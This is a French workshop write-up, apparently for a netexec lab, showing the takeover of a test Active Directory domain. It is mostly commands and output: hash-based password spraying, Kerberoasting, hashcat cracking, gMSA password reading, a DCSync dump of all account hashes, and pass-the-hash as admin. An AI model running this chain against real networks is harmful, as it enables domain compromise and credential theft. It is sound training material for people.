grep -iv disabled ~/.nxc/logs/babaorum_10.0.0.4_2024-07-07_195642.ntds | cut -d ':' -f4 > rome.hashs

rome.hashs:

6beba33d18f9e0eba5c8080f362b7f76
31d6cfe0d16ae931b73c59d7e0c089c0
5160cc29facd160087422320c7fd082e
ead20c9e1a5879c1a5e667805f01b210
863937c2368fca626d494154969fa3f1
485f0a1259fca7feedc4ed446cd73f51
a18173360503e5d7a9896e77237cbebf
daed649b85afad70575c3ce846f3d8b6
6e63bdf716e7e8ea38bb16a7fd03558d
e9d56f8b7255cd0bf70505eb3070ca88
91baa4580b05f821e392ea7c436bbd91
be8e40a630e541e24a03311349cb291a
ac7121d5b6f0af7cf020a347a51bb698
0c5a8f7d371f7159fe673933401d0109
bc26132bc86bab561351244c959c4e61
5a8630be79b7da10099b001a5adee00e
b5afa6f98a1ca2ee9b43645dae87f741
40bc830efe84caaacbc58262bd5a3ace
35908c42619644b303e417ecc3f2366a
16ee2fbf32a9f5800d70070cd5e5b66a
7397391ffb9e81939e76a830019e0b62
dda224f756b385f1ef02924cb0df1adb
808022bae08938c2a345f3dec9d38277
c4efae63bf2f5b7af768e12cc749ba88
b2b47a85455927d48417b848763bf37d
a7f58eb584616d3f90d7096d52fd5259
3b235a452fe0fb3c119cbc2087203c08
eb0be077df394d2c9b8cf4e53496b888
a210e3719c40b9209b8a071d0173c5b8
0b9c62acf7e9754d98013f89d3ffdf4a
31c64d2a43a95066a3374da8a8e84320

Password Spraying

On teste ensuite si des mots de passe de rome.local sont utilisés sur le domaine armorique.local.

On utilise directement les hashs NT du domaine rome.local écrits dans rome.hashs avec -H.

 nxc smb village -u users.village -H babaorum.ntds_hashes
SMB         10.0.0.5        445    village          [-] armorique.local\diagnostix:91baa4580b05f821e392ea7c436bbd91 STATUS_LOGON_FAILURE
SMB         10.0.0.5        445    village          [-] armorique.local\antibiotix:91baa4580b05f821e392ea7c436bbd91 STATUS_LOGON_FAILURE
SMB         10.0.0.5        445    village          [-] armorique.local\ordalfabétix:91baa4580b05f821e392ea7c436bbd91 STATUS_LOGON_FAILURE
SMB         10.0.0.5        445    village          [-] armorique.local\prolix:91baa4580b05f821e392ea7c436bbd91 STATUS_LOGON_FAILURE
SMB         10.0.0.5        445    village          [-] armorique.local\informatix:91baa4580b05f821e392ea7c436bbd91 STATUS_LOGON_FAILURE
[...]
SMB         10.0.0.5        445    village          [+] armorique.local\prolix:808022bae08938c2a345f3dec9d38277

On trouve un compte dont le mot de passe est le même entre les deux domaines : prolix.

prolix:808022bae08938c2a345f3dec9d38277    

On peut se connecter avec prolix sur armorique.local.

 nxc smb village -u 'prolix' -H 808022bae08938c2a345f3dec9d38277
SMB         10.0.0.5        445    village          [*] Windows 10 / Server 2019 Build 17763 x64 (name:village) (domain:armorique.local) (signing:True) (SMBv1:False)
SMB         10.0.0.5        445    village          [+] armorique.local\prolix:808022bae08938c2a345f3dec9d38277

Kerberoasting

On teste avec prolix les attaques classiques en environnement Active Directory. Un Kerberoasting nous permets de récupérer un krb5tgs pour le compte alambix.

 nxc ldap village -u 'prolix' -H 808022bae08938c2a345f3dec9d38277 --kerberoast 'alambix.kerberoasting'
SMB         10.0.0.5        445    village          [*] Windows 10 / Server 2019 Build 17763 x64 (name:village) (domain:armorique.local) (signing:True) (SMBv1:False)
LDAP        10.0.0.5        389    village          [+] armorique.local\prolix:808022bae08938c2a345f3dec9d38277
LDAP        10.0.0.5        389    village          [*] Total of records returned 1
LDAP        10.0.0.5        389    village          sAMAccountName: alambix memberOf: CN=Protected Users,CN=Users,DC=armorique,DC=local pwdLastSet: 2024-07-06 12:31:41.529105 lastLogon:2024-07-07 00:53:37.724003
LDAP        10.0.0.5        389    village          $krb5tgs$23$*alambix$ARMORIQUE.LOCAL$armorique.local/alambix*$d1b74f5ee70b29237e5d8dad519232e8$66321aef939f6873ac1ecc334721ab5393a759a8c62358ca0e55b28b03d19efffecab8b37530480c063fd9744a7a709f69761cd043f20b9f2065eeb8ed4d8f13722e27f091f4b4a2af9eabfdf5940779df6facc3b24639606a760248efb1d3d5cbf7b79a22fdc1b5f88ab1b75a744213c44111f3c61155523a2990d1947ba2d238a586e43a9475eb0748767c3aaad6ec7d13467df1aff1d324f72c3eeddd3714c3c39ea67f66d479a00dcf5b2b6b743dd23c276746e0dfcc95f6f9b20c2dc424fecbbf83397e436b17a1a25be1bad29f1cf6f9290e1824d5c3805a6c7926e4a1714da69acb579bb6b61b9774bd07c54bb45af1a523458cfb4d74ce24e7aa99a38511916dfae0979295f80e1029140b80aa9997b9b804c759054ff07a1c9ff758722289bf2de105d2ff8aa1b76455c7e70850305693f0c77ce36bcc7ae00bf5a968e0395a4c2a82b3f5c0c87d9de039dbfb897bbad7912ad28c4af16c4d0857520f5d656a1c71d732b9bdccb444bd691462fae3ed7d14bf42fab1b739bf612854f7a2e7a42d6f356079b793bbe95507e914a46d9e9b508d77aeb02f2898b2652e3d955ce2b2e2939cf3485322619cb389d38ed13349b4821206d49a8c999df1547c3c8fa59bc611ecf845d43ed8dc61ce20768ee7b3f78102bc48ba0cc62bc519ffda34fe06119008332b341adc07494febf890a30e862ef19588d5cab220cae706af96a1a68ec7e1b3dc5df4b4e4e3ea606533339d1e14def26a393d53033f22a7915674a28bc93437e8719f4269d2c5b4b0d55cdb3f3731bf3b39a4188671e7ae76dd2196020d566adf73fe722cba43fe1f98ac4c703d6e462a5d0b1c50c78c5daad53b1d2558288196a99da33ba236e49c08f2daf386cb6d6fc308e88de5dcd0cf3972d31adadf13d3e1a6edb0169bab173ee608875e6f1f077f237766d8a45b7c9e615d13a9d04696918cf6ffb1bd93111d535d78627df26541ba7506865a77d71d206bbf0fd0ca83d59443bf6e6202a950d1d7d02cf1f0bca9f745e67cf6978c0ee890fedb488beaf558941c748ded6ea0beac68bd8f73cbff0aa13ef79ad6552ba740363ecd578f2dc0230b2ded7c05d24dcf973dc89ac92eeed878b8aa6e18f9638438f5043dbf57ecf180ea558580593181368aab808c9b461b41579674c71c4605d0b390368336acaf481f8d9ee9d5a911be31f075faf25499c89589a28e66df33fdd8a00b31a90bb9d8ec7ded8d5e59f10b757e00124e451c3b28e487a3a6c4316b583543d15d2a3284fb6c4916f8e3d8c110bee94b9236c875792533e7ebb11a59a5032c01c4be9a85f5bf0629db8b24f355022bfb6e08e4b749d661ac33a32c1cccfd57c1cf24fdb46e8066ea6f84137351aaec7649916aa27c5107be3bc0aa75d53830cc6cbdcf1d60905a02f7d4b3ccdf9a2bd413ba98edcac59b8b005efcd325f3ebe8613deb68b4e71ce1cdc9ef37

Il est possible de casser ce hash avec hashcat, et ainsi récupérer le mot de passe de alambix.

 hashcat alambix.kerberoasting ~/SecLists/Passwords/Leaked-Databases/rockyou.txt
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

$krb5tgs$23$*alambix$ARMORIQUE.LOCAL$armorique.local/alambix*$d1b74f5ee70b29237e5d8dad519232e8$66321aef939f6873ac1ecc334721ab5393a759a8c62358ca0e55b28b03d19efffecab8b37530480c063fd9744a7a709f69761cd043f20b9f2065eeb8ed4d8f13722e27f091f4b4a2af9eabfdf5940779df6facc3b24639606a760248efb1d3d5cbf7b79a22fdc1b5f88ab1b75a744213c44111f3c61155523a2990d1947ba2d238a586e43a9475eb0748767c3aaad6ec7d13467df1aff1d324f72c3eeddd3714c3c39ea67f66d479a00dcf5b2b6b743dd23c276746e0dfcc95f6f9b20c2dc424fecbbf83397e436b17a1a25be1bad29f1cf6f9290e1824d5c3805a6c7926e4a1714da69acb579bb6b61b9774bd07c54bb45af1a523458cfb4d74ce24e7aa99a38511916dfae0979295f80e1029140b80aa9997b9b804c759054ff07a1c9ff758722289bf2de105d2ff8aa1b76455c7e70850305693f0c77ce36bcc7ae00bf5a968e0395a4c2a82b3f5c0c87d9de039dbfb897bbad7912ad28c4af16c4d0857520f5d656a1c71d732b9bdccb444bd691462fae3ed7d14bf42fab1b739bf612854f7a2e7a42d6f356079b793bbe95507e914a46d9e9b508d77aeb02f2898b2652e3d955ce2b2e2939cf3485322619cb389d38ed13349b4821206d49a8c999df1547c3c8fa59bc611ecf845d43ed8dc61ce20768ee7b3f78102bc48ba0cc62bc519ffda34fe06119008332b341adc07494febf890a30e862ef19588d5cab220cae706af96a1a68ec7e1b3dc5df4b4e4e3ea606533339d1e14def26a393d53033f22a7915674a28bc93437e8719f4269d2c5b4b0d55cdb3f3731bf3b39a4188671e7ae76dd2196020d566adf73fe722cba43fe1f98ac4c703d6e462a5d0b1c50c78c5daad53b1d2558288196a99da33ba236e49c08f2daf386cb6d6fc308e88de5dcd0cf3972d31adadf13d3e1a6edb0169bab173ee608875e6f1f077f237766d8a45b7c9e615d13a9d04696918cf6ffb1bd93111d535d78627df26541ba7506865a77d71d206bbf0fd0ca83d59443bf6e6202a950d1d7d02cf1f0bca9f745e67cf6978c0ee890fedb488beaf558941c748ded6ea0beac68bd8f73cbff0aa13ef79ad6552ba740363ecd578f2dc0230b2ded7c05d24dcf973dc89ac92eeed878b8aa6e18f9638438f5043dbf57ecf180ea558580593181368aab808c9b461b41579674c71c4605d0b390368336acaf481f8d9ee9d5a911be31f075faf25499c89589a28e66df33fdd8a00b31a90bb9d8ec7ded8d5e59f10b757e00124e451c3b28e487a3a6c4316b583543d15d2a3284fb6c4916f8e3d8c110bee94b9236c875792533e7ebb11a59a5032c01c4be9a85f5bf0629db8b24f355022bfb6e08e4b749d661ac33a32c1cccfd57c1cf24fdb46e8066ea6f84137351aaec7649916aa27c5107be3bc0aa75d53830cc6cbdcf1d60905a02f7d4b3ccdf9a2bd413ba98edcac59b8b005efcd325f3ebe8613deb68b4e71ce1cdc9ef37:gaulois-x-toujours

On a donc un second compte sur le domaine armorique.local.

alambix:gaulois-x-toujours

Comme il s’agit d’une attaque classique en environnement Active Directory, je l’ai testé directement. Mais on peut aussi l’identifier avec Bloodhound, et la requête “List all Kerberoastable Accounts”.

Requête Bloodhound &ldquo;List all Kerberoastable Accounts&rdquo;

La requête “Shortest Paths from Kerberoastable Users” donne également des résultats, mais pas la requête “Shortest Paths to Domain Admins from Kerberoastable Users” car le DCSync semble mal détecté.

Kerberos

Il n’est pas possible de se connecter en NetNTLM avec alambix. Cela est dû au fait que alambix est dans le groupe des protected users.

 nxc smb village -u 'alambix' -p 'gaulois-x-toujours'
SMB         10.0.0.5        445    village          [*] Windows 10 / Server 2019 Build 17763 x64 (name:village) (domain:armorique.local) (signing:True) (SMBv1:False)
SMB         10.0.0.5        445    village          [-] armorique.local\alambix:gaulois-x-toujours STATUS_ACCOUNT_RESTRICTION

Mais il est possible de se connecter avec le protocole Kerberos. Cela se fait très simplement avec netexec en ajoutant le paramètre -k.

 nxc smb village -k -u 'alambix' -p 'gaulois-x-toujours'
SMB         village         445    village          [*] Windows 10 / Server 2019 Build 17763 x64 (name:village) (domain:armorique.local) (signing:True) (SMBv1:False)
SMB         village         445    village          [+] armorique.local\alambix:gaulois-x-toujours

Gros Bait !

⚠️ Ce qui suit est un Rabbit Hole. Le share TRAITUS ne nous permet pas d’élever nos privilèges. À ce stade il était possible d’identifier le gMSA en utilisant BloodHound.

L’utilisateur alambix nous donne accès au share TRAITUS

 nxc smb village -k -u 'alambix' -p 'gaulois-x-toujours' --shares
SMB         village         445    village          [*] Windows 10 / Server 2019 Build 17763 x64 (name:village) (domain:armorique.local) (signing:True) (SMBv1:False)
SMB         village         445    village          [+] armorique.local\alambix:gaulois-x-toujours
SMB         village         445    village          [*] Enumerated shares
SMB         village         445    village          Share           Permissions     Remark
SMB         village         445    village          -----           -----------     ------
SMB         village         445    village          ADMIN$                          Remote Admin
SMB         village         445    village          C$                              Default share
SMB         village         445    village          D$                              Default share
SMB         village         445    village          IPC$            READ            Remote IPC
SMB         village         445    village          NETLOGON        READ            Logon server share
SMB         village         445    village          SYSVOL          READ            Logon server share
SMB         village         445    village          TRAITUS         READ

Le module spider_plus permet de télécharger facilement l’ensemble des fichiers présents sur les Partages Réseau (shares).

 nxc smb village -k -u 'alambix' -p 'gaulois-x-toujours' -M spider_plus -o DOWNLOAD_FLAG=True
SMB         village         445    village          [*] Windows 10 / Server 2019 Build 17763 x64 (name:village) (domain:armorique.local) (signing:True) (SMBv1:False)
SMB         village         445    village          [+] armorique.local\alambix:gaulois-x-toujours
SPIDER_PLUS village         445    village          [*] Started module spidering_plus with the following options:
SPIDER_PLUS village         445    village          [*]  DOWNLOAD_FLAG: True
SPIDER_PLUS village         445    village          [*]     STATS_FLAG: True
SPIDER_PLUS village         445    village          [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS village         445    village          [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS village         445    village          [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS village         445    village          [*]  OUTPUT_FOLDER: /tmp/nxc_hosted/nxc_spider_plus
SMB         village         445    village          [*] Enumerated shares
SMB         village         445    village          Share           Permissions     Remark
SMB         village         445    village          -----           -----------     ------
SMB         village         445    village          ADMIN$                          Remote Admin
SMB         village         445    village          C$                              Default share
SMB         village         445    village          D$                              Default share
SMB         village         445    village          IPC$            READ            Remote IPC
SMB         village         445    village          NETLOGON        READ            Logon server share
SMB         village         445    village          SYSVOL          READ            Logon server share
SMB         village         445    village          TRAITUS         READ
SPIDER_PLUS village         445    village          [+] Saved share-file metadata to "/tmp/nxc_hosted/nxc_spider_plus/village.json".
SPIDER_PLUS village         445    village          [*] SMB Shares:           7 (ADMIN$, C$, D$, IPC$, NETLOGON, SYSVOL, TRAITUS)
SPIDER_PLUS village         445    village          [*] SMB Readable Shares:  4 (IPC$, NETLOGON, SYSVOL, TRAITUS)
SPIDER_PLUS village         445    village          [*] SMB Filtered Shares:  1
SPIDER_PLUS village         445    village          [*] Total folders found:  28
SPIDER_PLUS village         445    village          [*] Total files found:    8
SPIDER_PLUS village         445    village          [*] File size average:    1.08 KB
SPIDER_PLUS village         445    village          [*] File size min:        22 B
SPIDER_PLUS village         445    village          [*] File size max:        4.43 KB
SPIDER_PLUS village         445    village          [*] File unique exts:     4 (.ini, .pol, .inf, .txt)
SPIDER_PLUS village         445    village          [*] Downloads successful: 8
SPIDER_PLUS village         445    village          [+] All files processed successfully.
~/workshop/cme_2024
 tree
.
├── village
│   ├── SYSVOL
│   │   └── armorique.local
│   │       └── Policies
│   │           ├── {09180B06-EA84-4D8F-BC90-E71AECE6F618}
│   │           │   ├── GPT.INI
│   │           │   └── Machine
│   │           │       └── Microsoft
│   │           │           └── Windows NT
│   │           │               └── SecEdit
│   │           │                   └── GptTmpl.inf
│   │           ├── {31B2F340-016D-11D2-945F-00C04FB984F9}
│   │           │   ├── GPT.INI
│   │           │   └── MACHINE
│   │           │       ├── Microsoft
│   │           │       │   └── Windows NT
│   │           │       │       └── SecEdit
│   │           │       │           └── GptTmpl.inf
│   │           │       └── Registry.pol
│   │           └── {6AC1786C-016F-11D2-945F-00C04fB984F9}
│   │               ├── GPT.INI
│   │               └── MACHINE
│   │                   └── Microsoft
│   │                       └── Windows NT
│   │                           └── SecEdit
│   │                               └── GptTmpl.inf
│   └── TRAITUS
│       └── message.txt
└── village.json

On trouve un fichier message.txt sur le share TRAITUS.

/tmp/nxc_hosted/nxc_spider_plus/village/TRAITUS
 cat message.txt
Voici les plans du village et le mot de passe pour passer les portes ! J'espere tre bien rcompens !

Identifiants: tragicomix / TUMDyYSjzu-Jb4

Mais la trahison ne paie pas, et on ne gagne pas d’accès supplémentaires avec tragicomix.

gMSA

Pour éviter que les comptes de services aient des mots de passe faibles qui ne changent jamais, Microsoft propose les group Managed Service Accounts. Les gMSA ont des mots de passe aléatoire, fort, qui changent tous les 30 jours.

alambix a le droit de lire le mot de passe du compte de gMSA-obelix$. On peut voir cela avec une requête “Shortest Path from Owned Principals” dans Bloohound.

Requête Shortest Path from Owned Principals dans Bloodhound

Netexec permet de récupérer facilement le mot de passe avec --gmsa sur le protocole ldap. Comme le mot de passe est aléatoire et avec des caractères non imprimables, on le récupère sous la forme d’un hash NT.

 nxc ldap village -k -u 'alambix' -p 'gaulois-x-toujours' --gmsa 
SMB         village         445    village          [*] Windows 10 / Server 2019 Build 17763 x64 (name:village) (domain:armorique.local) (signing:True) (SMBv1:False)
LDAPS       village         636    village          [+] armorique.local\alambix:gaulois-x-toujours
LDAPS       village         636    village          [*] Getting GMSA Passwords
LDAPS       village         636    village          Account: gMSA-obelix$         NTLM: 99bc5b63d68cb72b910bd754af32a236

DCSync - armorique.local / village

gMSA-obelix$ a les droits nécessaires pour faire un DCSync sur armorique.local.

On peut identifier cela avec Bloodhound et la requête “Find Principals with DCSync Rights”.

Bloodhound requête &ldquo;Find Principals with DCSync Rights&rdquo;

On peut récupérer ainsi le ntds.dit de armorique.local, avec netexec et le paramètre --ntds. On peut identifier l’administrateur de domaine asterix à son ID: 500.

 nxc village -u 'gMSA-obelix$' -H 99bc5b63d68cb72b910bd754af32a236 --ntds
[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user  to dump a specific user safely or the module -M ntdsutil [Y/n] y
SMB         10.0.0.5        445    village          [*] Windows 10 / Server 2019 Build 17763 x64 (name:village) (domain:armorique.local) (signing:True) (SMBv1:False)
SMB         10.0.0.5        445    village          [+] armorique.local\gMSA-obelix$:99bc5b63d68cb72b910bd754af32a236
SMB         10.0.0.5        445    village          [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
SMB         10.0.0.5        445    village          [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         10.0.0.5        445    village          asterix:500:aad3b435b51404eeaad3b435b51404ee:34ff8291f0ee1c444ddfa09dccb6dcc3:::
SMB         10.0.0.5        445    village          Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.0.0.5        445    village          krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8404390a76db3dfe72f51cfb9b24949e:::
SMB         10.0.0.5        445    village          armorique.local\obelix:1104:aad3b435b51404eeaad3b435b51404ee:5ee69547337b59e461c33478c2fb822f:::
SMB         10.0.0.5        445    village          armorique.local\panoramix:1105:aad3b435b51404eeaad3b435b51404ee:1afd9ae049ebfb823346f28c4c76f668:::
SMB         10.0.0.5        445    village          armorique.local\abraracourcix:1106:aad3b435b51404eeaad3b435b51404ee:2df165939f8399894d6c49167984fea1:::
SMB         10.0.0.5        445    village          armorique.local\assurancetourix:1107:aad3b435b51404eeaad3b435b51404ee:72a70989fd7ed81b6e8511c9263ffafb:::
SMB         10.0.0.5        445    village          armorique.local\bonemine:1108:aad3b435b51404eeaad3b435b51404ee:2453dfca5482957ee6837cc2dc018940:::
SMB         10.0.0.5        445    village          armorique.local\ordralfabetix:1109:aad3b435b51404eeaad3b435b51404ee:6eed58b313ef99aaf10e7cf96896a1cd:::
SMB         10.0.0.5        445    village          armorique.local\cetautomatix:1110:aad3b435b51404eeaad3b435b51404ee:77168a887c2accdbbd6c016e13acf734:::
SMB         10.0.0.5        445    village          armorique.local\idefix:1111:aad3b435b51404eeaad3b435b51404ee:57551dfb82ceabde974d92e4d8cd25c0:::
SMB         10.0.0.5        445    village          armorique.local\agecanonix:1112:aad3b435b51404eeaad3b435b51404ee:31aed57e4cb0b171625ebe27122e08f5:::
SMB         10.0.0.5        445    village          armorique.local\vercingetorix:1113:aad3b435b51404eeaad3b435b51404ee:7385b450f5672cd341bd4ed4c7f09082:::
SMB         10.0.0.5        445    village          armorique.local\goudurix:1114:aad3b435b51404eeaad3b435b51404ee:a4033bbc3438da66d2e8f783b6ed8c40:::
SMB         10.0.0.5        445    village          armorique.local\jolitorax:1115:aad3b435b51404eeaad3b435b51404ee:464bc57c90bf3eec47e3a746e75ad325:::
SMB         10.0.0.5        445    village          armorique.local\pepe:1116:aad3b435b51404eeaad3b435b51404ee:746085b45d219204784e4a6d0e99b6be:::
SMB         10.0.0.5        445    village          armorique.local\cicatrix:1117:aad3b435b51404eeaad3b435b51404ee:ba87f0edd27927f3f4aa074eb2e2d93c:::
SMB         10.0.0.5        445    village          armorique.local\falbala:1118:aad3b435b51404eeaad3b435b51404ee:11fe8020724a297649d37fe4188e2237:::
SMB         10.0.0.5        445    village          armorique.local\tragicomix:1119:aad3b435b51404eeaad3b435b51404ee:cf3a743ba86f71d560bd37479d24e2af:::
SMB         10.0.0.5        445    village          armorique.local\diagnostix:1120:aad3b435b51404eeaad3b435b51404ee:462a2e47440eb22c601dd5e12eb8cca5:::
SMB         10.0.0.5        445    village          armorique.local\antibiotix:1121:aad3b435b51404eeaad3b435b51404ee:cc08e9980caff395021c88f27e0ba020:::
SMB         10.0.0.5        445    village          armorique.local\ordalfabétix:1122:aad3b435b51404eeaad3b435b51404ee:ccdef01e6072f4f688a44c3b02d120d6:::
SMB         10.0.0.5        445    village          armorique.local\prolix:1123:aad3b435b51404eeaad3b435b51404ee:808022bae08938c2a345f3dec9d38277:::
SMB         10.0.0.5        445    village          armorique.local\informatix:1124:aad3b435b51404eeaad3b435b51404ee:4e12f6cecfdf32e40793310070282298:::
SMB         10.0.0.5        445    village          armorique.local\alambix:1125:aad3b435b51404eeaad3b435b51404ee:14954b5f7f824d45c5ce4a68e7a4eb3c:::
SMB         10.0.0.5        445    village          armorique.local\porquépix:1126:aad3b435b51404eeaad3b435b51404ee:64fb2fd7590866f14085e41040e1b10a:::
SMB         10.0.0.5        445    village          armorique.local\beaufix:1127:aad3b435b51404eeaad3b435b51404ee:e532db6f49ae5723885e9a20ae621dda:::
SMB         10.0.0.5        445    village          village$:1000:aad3b435b51404eeaad3b435b51404ee:c0847f8420661594a2a824f60d78dc19:::
SMB         10.0.0.5        445    village          gMSA-obelix$:1103:aad3b435b51404eeaad3b435b51404ee:99bc5b63d68cb72b910bd754af32a236:::
SMB         10.0.0.5        445    village          [+] Dumped 29 NTDS hashes to /home/olivier/.nxc/logs/village_10.0.0.5_2024-07-07_011838.ntds of which 27 were added to the database
SMB         10.0.0.5        445    village          [*] To extract only enabled accounts from the output file, run the following command:
SMB         10.0.0.5        445    village          [*] cat /home/olivier/.nxc/logs/village_10.0.0.5_2024-07-07_011838.ntds | grep -iv disabled | cut -d ':' -f1
SMB         10.0.0.5        445    village          [*] grep -iv disabled /home/olivier/.nxc/logs/village_10.0.0.5_2024-07-07_011838.ntds | cut -d ':' -f1

Admin

Nous voilà enfin administrateur du domaine armorique.local. On peut se connecter avec asterix pour apprécier pleinement le petit Pwn3d!.

 nxc smb village -u 'asterix' -H 34ff8291f0ee1c444ddfa09dccb6dcc3
SMB         10.0.0.5        445    village          [*] Windows 10 / Server 2019 Build 17763 x64 (name:village) (domain:armorique.local) (signing:True) (SMBv1:False)
SMB         10.0.0.5        445    village          [+] armorique.local\asterix:34ff8291f0ee1c444ddfa09dccb6dcc3 (Pwn3d!)

Résumé de armorique.local

Les étapes pour compromettre le second domaine ont été les suivantes.

  1. Énumérer les utilisateurs de armorique.local avec une session anonyme (-u '' -p '').
  2. Password Spraying avec les hashs NT extraits du domaine rome.local. On obtient le compte prolix.
  3. Kerberoasting de alambix avec le compte prolix.
  4. Récupération du hash NT de gMSA-obelix$ avec --gmsa.
  5. DCSync sur armorique.local avec gMSA-obelix$.

Conclusion

Déjà, un immense merci à @mpgn, à Wil et à tous ceux qui ont contribué à cette 3ème édition du workshop.
Merci, et félicitations également à Maël et Rayan qui m’ont partagé leurs extract Bloodhound.

Personnellement , le workshop m’a permis d’exploiter de choses que je n’ai pas l’occasion de tester au quotidien: DPAPI, LAPS, MSOL ou même gMSA. Je suis très heureux d’avoir découvert les MSOL à cette occasion.

Je ressors au passage convaincu que pipx est la meilleure façon d’installer un tas d’outils de pentest, notamment netexec.

Je note également que Bloodhound Community Edition n’est aujourd’hui pas au niveau de la version “classique” de Bloodhound.

Et pour finir quelques leçons que je retiens de ce workshop:

  • Le fait de tester --dpapi que je n’avais pas le réflexe d’utiliser juqu’ici.

  • netexec est très efficace pour plein d’attaques faites avec impacket généralement: --lsa, --ntds, --asreproast, --kerberoasting, --rid-brute. Et la syntaxe est plus intuitive avec netexec.

  • Comme c’était un workshop netexec, je n’ai pas eu le réflexe d’utiliser BloodHound.
    En écrivant ce writeup, je réalise qu’à beaucoup d’étapes où je suis resté coincé longtemps. Il aurait été possible d’identifier rapidement la faille à exploiter: LAPS, MSOL, gMSA.
    L’an prochain, je préparerais un Bloodhound avant le workshop

  • Dès qu’on a un compte utilisateur valide sur le domaine, faire un Bloodhound.

  • -u '', -u 'a' et -u 'guest' peuvent donner des accès différents. Tester les 3 de manière systématique.

Et voilà ! J’espère que vous avez apprécié ce writeup, et au plaisir de vous voir l’an prochain.